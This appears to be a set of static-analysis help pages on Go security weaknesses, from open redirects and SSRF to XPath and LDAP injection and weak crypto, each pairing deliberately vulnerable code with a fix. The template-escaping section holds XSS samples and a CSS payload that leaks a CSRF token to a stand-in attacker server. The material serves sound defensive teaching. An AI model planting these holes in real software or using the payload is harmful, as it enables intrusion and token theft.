Redirect URLs should be checked to ensure that user input cannot cause a site to redirect to arbitrary domains. This is often done with a check that the redirect URL begins with a slash, which most of the time is an absolute redirect on the same host. However, browsers interpret URLs beginning with // or /\ as absolute URLs. For example, a redirect to //lgtm.com will redirect to https://lgtm.com. Thus, redirect checks must also check the second character of redirect URLs.

Recommendation

Also disallow redirect URLs starting with // or /\.

Example

The following function validates a (presumably untrusted) redirect URL redir. If it does not begin with /, the harmless placeholder redirect URL / is returned to prevent an open redirect; otherwise redir itself is returned.

package main

func sanitizeUrl(redir string) string {
	if len(redir) > 0 && redir[0] == '/' {
		return redir
	}
	return "/"
}

While this check provides partial protection, it should be extended to cover // and /\ as well:

package main

func sanitizeUrl1(redir string) string {
	if len(redir) > 1 && redir[0] == '/' && redir[1] != '/' && redir[1] != '\\' {
		return redir
	}
	return "/"
}

References

• OWASP: XSS Unvalidated Redirects and Forwards Cheat Sheet.
• Common Weakness Enumeration: CWE-601.

Open URL redirect

Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but is controlled by the attacker.

Recommendation

To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.

Example

The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:

package main

import (
	"net/http"
)

func serve() {
	http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		http.Redirect(w, r, r.Form.Get("target"), 302)
	})
}

One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:

package main

import (
	"net/http"
	"net/url"
)

func serve() {
	http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		target, err := url.Parse(r.Form.Get("target"))
		if err != nil {
			// ...
		}

		if target.Hostname() == "semmle.com" {
			// GOOD: checking hostname
			http.Redirect(w, r, target.String(), 302)
		} else {
			http.WriteHeader(400)
		}
	})
}

References

• OWASP: XSS Unvalidated Redirects and Forwards Cheat Sheet.
• Common Weakness Enumeration: CWE-601.

Email content injection

Using untrusted input to construct an email can cause multiple security vulnerabilities. For instance, inclusion of an untrusted input in an email body may allow an attacker to conduct cross-site scripting (XSS) attacks, while inclusion of an HTTP header may allow a full account compromise as shown in the example below.

Recommendation

Any data which is passed to an email subject or body must be sanitized before use.

Example

In the following example snippet, the host field is user controlled.

A malicious user can send an HTTP request to the targeted website, but with a Host header that refers to their own website. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious website.

If the email contains a password reset link, and the victim clicks the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.

package main

import (
	"net/http"
	"net/smtp"
)

func mail(w http.ResponseWriter, r *http.Request) {
	host := r.Header.Get("Host")
	token := backend.getUserSecretResetToken(email)
	body := "Click to reset password: " + host + "/" + token
	smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body))
}

One way to prevent this is to load the host name from a trusted configuration file instead.

package main

import (
	"net/http"
	"net/smtp"
)

func mailGood(w http.ResponseWriter, r *http.Request) {
	host := config.Get("Host")
	token := backend.getUserSecretResetToken(email)
	body := "Click to reset password: " + host + "/" + token
	smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body))
}

References

• OWASP: Content Spoofing .
• Common Weakness Enumeration: CWE-640.

XPath injection

If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression.

Recommendation

If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input.

For example, when using the github.com/ChrisTrenkamp/goxpath API, you can do this by creating a function that takes an *goxpath.Opts structure. In this structure you can then set the values of the variable references. This function can then be specified when calling Exec(), Exec{Bool|Num|Node}(), ParseExec(), or MustExec().

Example

In the first example, the code accepts a username specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.

In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely resolved at runtime using the goxpath.Opts structure.

package main

import (
	"fmt"
	"net/http"

	"github.com/ChrisTrenkamp/goxpath"
	"github.com/ChrisTrenkamp/goxpath/tree"
)

func main() {}

func processRequest(r *http.Request, doc tree.Node) {
	r.ParseForm()
	username := r.Form.Get("username")

	// BAD: User input used directly in an XPath expression
	xPath := goxpath.MustParse("//users/user[login/text()='" + username + "']/home_dir/text()")
	unsafeRes, _ := xPath.ExecBool(doc)
	fmt.Println(unsafeRes)

	// GOOD: Value of parameters is defined here instead of directly in the query
	opt := func(o *goxpath.Opts) {
		o.Vars["username"] = tree.String(username)
	}
	// GOOD: Uses parameters to avoid including user input directly in XPath expression
	xPath = goxpath.MustParse("//users/user[login/text()=$username]/home_dir/text()")
	safeRes, _ := xPath.ExecBool(doc, opt)
	fmt.Println(safeRes)
}

References

• OWASP: Testing for XPath Injection.
• OWASP: XPath Injection.
• Common Weakness Enumeration: CWE-643.

Incorrect conversion between integer types

If a string is parsed into an int using strconv.Atoi, and subsequently that int is converted into another integer type of a smaller size, the result can produce unexpected values.

This also applies to the results of strconv.ParseInt and strconv.ParseUint when the specified size is larger than the size of the type that number is converted to.

Recommendation

If you need to parse integer values with specific bit sizes, avoid strconv.Atoi, and instead use strconv.ParseInt or strconv.ParseUint, which also allow specifying the bit size.

When using those functions, be careful to not convert the result to another type with a smaller bit size than the bit size you specified when parsing the number.

If this is not possible, then add upper (and lower) bound checks specific to each type and bit size (you can find the minimum and maximum value for each type in the math package).

Example

In the first example, assume that an input string is passed to parseAllocateBad1 function, parsed by strconv.Atoi, and then converted into an int32 type:

package main

import (
	"strconv"
)

func parseAllocateBad1(wanted string) int32 {
	parsed, err := strconv.Atoi(wanted)
	if err != nil {
		panic(err)
	}
	return int32(parsed)
}
func parseAllocateBad2(wanted string) int32 {
	parsed, err := strconv.ParseInt(wanted, 10, 64)
	if err != nil {
		panic(err)
	}
	return int32(parsed)
}

The bounds are not checked, so this means that if the provided number is greater than the maximum value of type int32, the resulting value from the conversion will be different from the actual provided value.

To avoid unexpected values, you should either use the other functions provided by the strconv package to parse the specific types and bit sizes as shown in the parseAllocateGood2 function; or check bounds as in the parseAllocateGood1 function.

package main

import (
	"math"
	"strconv"
)

func main() {

}

const DefaultAllocate int32 = 256

func parseAllocateGood1(desired string) int32 {
	parsed, err := strconv.Atoi(desired)
	if err != nil {
		return DefaultAllocate
	}
	// GOOD: check for lower and upper bounds
	if parsed > 0 && parsed <= math.MaxInt32 {
		return int32(parsed)
	}
	return DefaultAllocate
}
func parseAllocateGood2(desired string) int32 {
	// GOOD: parse specifying the bit size
	parsed, err := strconv.ParseInt(desired, 10, 32)
	if err != nil {
		return DefaultAllocate
	}
	return int32(parsed)
}

func parseAllocateGood3(wanted string) int32 {
	parsed, err := strconv.ParseInt(wanted, 10, 32)
	if err != nil {
		panic(err)
	}
	return int32(parsed)
}
func parseAllocateGood4(wanted string) int32 {
	parsed, err := strconv.ParseInt(wanted, 10, 64)
	if err != nil {
		panic(err)
	}
	// GOOD: check for lower and uppper bounds
	if parsed > 0 && parsed <= math.MaxInt32 {
		return int32(parsed)
	}
	return DefaultAllocate
}

Example

In the second example, assume that an input string is passed to parseAllocateBad2 function, parsed by strconv.ParseInt with a bit size set to 64, and then converted into an int32 type:

package main

import (
	"strconv"
)

func parseAllocateBad1(wanted string) int32 {
	parsed, err := strconv.Atoi(wanted)
	if err != nil {
		panic(err)
	}
	return int32(parsed)
}
func parseAllocateBad2(wanted string) int32 {
	parsed, err := strconv.ParseInt(wanted, 10, 64)
	if err != nil {
		panic(err)
	}
	return int32(parsed)
}

If the provided number is greater than the maximum value of type int32, the resulting value from the conversion will be different from the actual provided value.

To avoid unexpected values, you should specify the correct bit size as in parseAllocateGood3; or check bounds before making the conversion as in parseAllocateGood4.

package main

import (
	"math"
	"strconv"
)

func main() {

}

const DefaultAllocate int32 = 256

func parseAllocateGood1(desired string) int32 {
	parsed, err := strconv.Atoi(desired)
	if err != nil {
		return DefaultAllocate
	}
	// GOOD: check for lower and upper bounds
	if parsed > 0 && parsed <= math.MaxInt32 {
		return int32(parsed)
	}
	return DefaultAllocate
}
func parseAllocateGood2(desired string) int32 {
	// GOOD: parse specifying the bit size
	parsed, err := strconv.ParseInt(desired, 10, 32)
	if err != nil {
		return DefaultAllocate
	}
	return int32(parsed)
}

func parseAllocateGood3(wanted string) int32 {
	parsed, err := strconv.ParseInt(wanted, 10, 32)
	if err != nil {
		panic(err)
	}
	return int32(parsed)
}
func parseAllocateGood4(wanted string) int32 {
	parsed, err := strconv.ParseInt(wanted, 10, 64)
	if err != nil {
		panic(err)
	}
	// GOOD: check for lower and uppper bounds
	if parsed > 0 && parsed <= math.MaxInt32 {
		return int32(parsed)
	}
	return DefaultAllocate
}

References

• Wikipedia Integer overflow.
• Go language specification Integer overflow.
• Documentation for strconv.Atoi.
• Documentation for strconv.ParseInt.
• Documentation for strconv.ParseUint.
• Common Weakness Enumeration: CWE-190.
• Common Weakness Enumeration: CWE-681.

Hard-coded credentials

Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.

Recommendation

Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.

Example

The following code example connects to a Postgres database using the lib/pq package and hard-codes user name and password:

package main

import (
	"database/sql"
	"fmt"

	_ "github.com/lib/pq"
)

const (
	user     = "dbuser"
	password = "s3cretp4ssword"
)

func connect() *sql.DB {
	connStr := fmt.Sprintf("postgres://%s:%s@localhost/pqgotest", user, password)
	db, err := sql.Open("postgres", connStr)
	if err != nil {
		return nil
	}
	return db
}

Instead, user name and password can be supplied through the environment variables PGUSER and PGPASSWORD, which can be set externally without hard-coding credentials in the source code.

References

• OWASP: Use of hard-coded password.
• Common Weakness Enumeration: CWE-259.
• Common Weakness Enumeration: CWE-321.
• Common Weakness Enumeration: CWE-798.

Uncontrolled data used in network request

Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack.

Recommendation

To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided.

Example

The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request http.Get(...) is vulnerable since attackers can choose the value of target to be anything they want. For instance, the attacker can choose "internal.example.com/#" as the target, causing the URL used in the request to be "https://internal.example.com/#.example.com/data".

A request to https://internal.example.com may be problematic if that server is not meant to be directly accessible from the attacker's machine.

package main

import (
	"net/http"
)

func handler(w http.ResponseWriter, req *http.Request) {
	target := req.FormValue("target")

	// BAD: `target` is controlled by the attacker
	resp, err := http.Get("https://" + target + ".example.com/data/")
	if err != nil {
		// error handling
	}

	// process request response
	use(resp)
}

One way to remedy the problem is to use the user input to select a known fixed string before performing the request:

package main

import (
	"net/http"
)

func handler1(w http.ResponseWriter, req *http.Request) {
	target := req.FormValue("target")

	var subdomain string
	if target == "EU" {
		subdomain = "europe"
	} else {
		subdomain = "world"
	}

	// GOOD: `subdomain` is controlled by the server
	resp, err := http.Get("https://" + subdomain + ".example.com/data/")
	if err != nil {
		// error handling
	}

	// process request response
	use(resp)
}

References

• OWASP: SSRF
• Common Weakness Enumeration: CWE-918.

LDAP query built from user-controlled sources

If an LDAP query or DN is built using string concatenation or string formatting, and the components of the concatenation include user input without any proper sanitization, a user is likely to be able to run malicious LDAP queries.

Recommendation

If user input must be included in an LDAP query or DN, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. In Go, user input should be escaped with EscapeFilter. A good practice is to escape filter characters that could change the meaning of the query (https://tools.ietf.org/search/rfc4515\#section-3).

Example

In the following examples, the code accepts both filter and attr from the user, which it then uses to build a LDAP query and DN.

The following example uses the unsanitized user input directly in the search filter and DN for the LDAP query. A malicious user could provide special characters to change the meaning of these components, and search for a completely different set of values.

package main

func LDAPInjectionVulnerable(untrusted string) {
	// ...
	searchRequest := ldap.NewSearchRequest(
		"dc=example,dc=com", // The base dn to search
		ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
		"(&(objectClass=organizationalPerson)) + untrusted", // BAD: untrusted filter
		[]string{"dn", "cn", untrusted},                     // BAD: untrusted attribute
		nil,
	)
	// ...
}

In the following example, the input provided by the user is sanitized before it is included in the search filter or DN. This ensures the meaning of the query cannot be changed by a malicious user.

package main

func LDAPInjectionVulnerable(untrusted string) {
	// ...
	safe := ldap.EscapeFilter(untrusted)

	searchRequest := ldap.NewSearchRequest(
		"dc=example,dc=com", // The base dn to search
		ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
		"(&(objectClass=organizationalPerson))"+safe, // GOOD: sanitized filter
		[]string{"dn", "cn", safe},                   // GOOD: sanitized attribute
		nil,
	)
	// ...
}

References

• OWASP: LDAP Injection Prevention Cheat Sheet.
• OWASP: LDAP Injection.
• Go: LDAP Documentation.
• Wikipedia: LDAP injection.
• BlackHat: LDAP Injection and Blind LDAP Injection.
• LDAP: Understanding and Defending Against LDAP Injection Attacks.
• Common Weakness Enumeration: CWE-90.

'HttpOnly' attribute is not set to true

Cookies without HttpOnly attribute are accessible to JavaScript running in the same origin. In case of Cross-Site Scripting (XSS) vulnerability the cookie can be stolen by malicious script.

Recommendation

Protect sensitive cookies, such as related to authentication, by setting HttpOnly to true to make them not accessible to JavaScript.

Example

In the following example the default HttpOnly value is false.

package main

import (
	"net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
	c := http.Cookie{
		Name:  "session",
		Value: "secret",
	}
	http.SetCookie(w, &c)
}

func main() {
	http.HandleFunc("/", handler)
}

In the example below HttpOnly is set to true.

package main

import (
	"net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
	c := http.Cookie{
		Name:     "session",
		Value:    "secret",
		HttpOnly: true,
	}
	http.SetCookie(w, &c)
}

func main() {
	http.HandleFunc("/", handler)
}

References

• type Cookie,
• Set-Cookie Header,
• Common Weakness Enumeration: CWE-1004.

Use of a weak cryptographic algorithm

Using weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.

Many cryptographic algorithms provided by cryptography libraries are known to be weak. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.

Recommendation

Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.

Example

The following code uses the different packages to encrypt/hash some secret data. The first few examples uses DES, MD5, RC4, and SHA1, which are older algorithms that are now considered weak. The following examples use AES and SHA256, which are stronger, more modern algorithms.

package main

import (
	"crypto/aes"
	"crypto/des"
	"crypto/md5"
	"crypto/rc4"
	"crypto/sha1"
	"crypto/sha256"
)

func main() {
	public := []byte("hello")

	password := []byte("123456")
	buf := password // testing dataflow by passing into different variable

	// BAD, des is a weak crypto algorithm and password is sensitive data
	des.NewTripleDESCipher(buf)

	// BAD, md5 is a weak crypto algorithm and password is sensitive data
	md5.Sum(buf)

	// BAD, rc4 is a weak crypto algorithm and password is sensitive data
	rc4.NewCipher(buf)

	// BAD, sha1 is a weak crypto algorithm and password is sensitive data
	sha1.Sum(buf)

	// GOOD, password is sensitive data but aes is a strong crypto algorithm
	aes.NewCipher(buf)

	// GOOD, password is sensitive data but sha256 is a strong crypto algorithm
	sha256.Sum256(buf)

	// GOOD, des is a weak crypto algorithm but public is not sensitive data
	des.NewTripleDESCipher(public)

	// GOOD, md5 is a weak crypto algorithm but public is not sensitive data
	md5.Sum(public)

	// GOOD, rc4 is a weak crypto algorithm but public is not sensitive data
	rc4.NewCipher(public)

	// GOOD, sha1 is a weak crypto algorithm but public is not sensitive data
	sha1.Sum(public)

	// GOOD, aes is a strong crypto algorithm and public is not sensitive data
	aes.NewCipher(public)

	// GOOD, sha256 is a strong crypto algorithm and public is not sensitive data
	sha256.Sum256(public)
}

References

• OWASP: Cryptographic Storage Cheat Sheet.
• Wikipedia: Cryptographically Strong Algorithms.
• Wikipedia: Strong Cryptography Examples.
• NIST, FIPS 140 Annex a: Approved Security Functions.
• NIST, SP 800-131A: Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths.
• Common Weakness Enumeration: CWE-327.

Divide by zero

In Go, dividing an integer by zero leads to a panic, which might interrupt execution of the program and lead to program termination.

Recommendation

Check that all user inputs used as a divisor are non-zero. It is also possible to handle a panic, generated by division by zero, using the built-in function recover.

Example

The following example shows data received from user input being used as a divisor and possibly causing a divide-by-zero panic.

package main

import (
	"fmt"
	"os"
	"strconv"
)

func main() {
	if len(os.Args) < 2 {
		fmt.Printf("Usage: ./program value\n")
		return
	}
	val1 := 1337
	value, _ := strconv.Atoi(os.Args[1])
	out := val1 / value
	fmt.Println(out)
	return
}

This can be fixed by testing the divisor against against zero:

package main

import (
	"fmt"
	"os"
	"strconv"
)

func main() {
	if len(os.Args) < 2 {
		fmt.Printf("Usage: ./program value\n")
		return
	}
	val1 := 1337
	value, _ := strconv.Atoi(os.Args[1])
	if value == 0 {
		fmt.Println("Division by zero attempted!")
		return
	}
	out := val1 / value
	fmt.Println(out)
	return
}

Database call in loop

Database calls in loops are slower than running a single query and consume more resources. This can lead to denial of service attacks if the loop bounds can be controlled by an attacker.

Recommendation

Ensure that where possible, database queries are not run in a loop, instead running a single query to get all relevant data.

Example

In the example below, users in a database are queried one by one in a loop:

package main

import "gorm.io/gorm"

func getUsers(db *gorm.DB, names []string) []User {
	res := make([]User, 0, len(names))
	for _, name := range names {
		var user User
		db.Where("name = ?", name).First(&user)
		res = append(res, user)
	}
	return res
}

This is corrected by running a single query that selects all of the users at once:

package main

import "gorm.io/gorm"

func getUsersGood(db *gorm.DB, names []string) []User {
	res := make([]User, 0, len(names))
	db.Where("name IN ?", names).Find(&res)
	return res
}

References

HTML template escaping passthrough

In Go, the html/template package has a few special types (HTML, HTMLAttr, JS, JSStr, CSS, Srcset, and URL) that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

Using them on user-provided values will result in an opportunity for XSS.

Recommendation

Make sure to never use those types on untrusted content.

Example

In the first example you can see the special types and how they are used in a template:

package main

import (
	"html/template"
	"os"
)

func main() {}
func source(s string) string {
	return s
}

type HTMLAlias = template.HTML

func checkError(err error) {
	if err != nil {
		panic(err)
	}
}

// bad is an example of a bad implementation
func bad() {
	tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
	tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
	tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
	tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)

	{
		{
			var a = template.HTML(source(`<a href='example.com'>link</a>`))
			checkError(tmpl.Execute(os.Stdout, a))
		}
		{
			{
				var a template.HTML
				a = template.HTML(source(`<a href='example.com'>link</a>`))
				checkError(tmpl.Execute(os.Stdout, a))
			}
			{
				var a HTMLAlias
				a = HTMLAlias(source(`<a href='example.com'>link</a>`))
				checkError(tmpl.Execute(os.Stdout, a))
			}
		}
	}
	{
		var c = template.HTMLAttr(source(`href="https://example.com"`))
		checkError(tmplTag.Execute(os.Stdout, c))
	}
	{
		var d = template.JS(source("alert({hello: 'world'})"))
		checkError(tmplScript.Execute(os.Stdout, d))
	}
	{
		var e = template.JSStr(source("setTimeout('alert()')"))
		checkError(tmplScript.Execute(os.Stdout, e))
	}
	{
		var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
		checkError(tmpl.Execute(os.Stdout, b))
	}
	{
		var f = template.Srcset(source(`evil.jpg 320w`))
		checkError(tmplSrcset.Execute(os.Stdout, f))
	}
	{
		var g = template.URL(source("javascript:alert(1)"))
		checkError(tmpl.Execute(os.Stdout, g))
	}
}

To avoid XSS, all user input should be a normal string type.

package main

import (
	"html/template"
	"os"
)

// good is an example of a good implementation
func good() {
	tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
	{ // This will be escaped:
		var escaped = source(`<a href="example.com">link</a>`)
		checkError(tmpl.Execute(os.Stdout, escaped))
	}
}

User-controlled bypassing of sensitive action

Testing untrusted user input against a fixed constant results in a bypass of the conditional check as the attacker may alter the input to match the constant. When an incorrect check of this type is used to guard a potentially sensitive block, it results an attacker gaining access to the sensitive block.

Recommendation

Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed.

It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated.

Example

The following example shows a comparison where an user controlled expression is used to guard a sensitive method. This should be avoided.:

package main

import "net/http"

func example(w http.ResponseWriter, r *http.Request) {
	test2 := "test"
	if r.Header.Get("X-Password") != test2 {
		login()
	}
}

User-controlled bypass of condition

Conditional checks that compare two values that are both controlled by an untrusted user against each other are easy to bypass and should not be used in security-critical contexts.

Recommendation

To guard against bypass, it is advisable to avoid framing a comparison where both sides are untrusted user inputs. Instead, use a configuration to store and access the values required.

Example

The following example shows a comparison where both the sides are from attacker-controlled request headers. This should be avoided:

package main

import (
	"net/http"
)

func exampleHandlerBad(w http.ResponseWriter, r *http.Request) {
	// BAD: the Origin and Host headers are user controlled
	if r.Header.Get("Origin") != "http://"+r.Host {
		//do something
	}
}

One way to remedy the problem is to test against a value stored in a configuration:

package main

import (
	"net/http"
)

func exampleHandlerGood(w http.ResponseWriter, r *http.Request) {
	// GOOD: the configuration is not user controlled
	if r.Header.Get("Origin") != config.get("Host") {
		//do something
	}
}

Uncontrolled data used in network request

Directly incorporating user input into an HTTP request without validating the input can facilitate server side request forgery attacks, where the attacker controls the request target.

Recommendation

To guard against server side request forgery, it is advisable to avoid putting user input directly into a network request. If using user input is necessary, then it must be validated. It is recommended to only allow user input consisting of alphanumeric characters. Simply URL-encoding other chracters is not always a solution, for example because a downstream entity that is itself vulnerable may decode again before forwarding the request.

Example

The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request http.Get("https://example.com/current_api/"+target) is vulnerable since attackers can choose the value of target to be anything they want. For instance, the attacker can choose "../super_secret_api" as the target, causing the URL to become "https://example.com/super_secret_api".

A request to https://example.com/super_secret_api may be problematic if that api is not meant to be directly accessible from the attacker's machine.

package main

import (
	"net/http"
)

func handler(w http.ResponseWriter, req *http.Request) {
	target := req.FormValue("target")

	// BAD: `target` is controlled by the attacker
	resp, err := http.Get("https://example.com/current_api/" + target)
	if err != nil {
		// error handling
	}

	// process request response
	use(resp)
}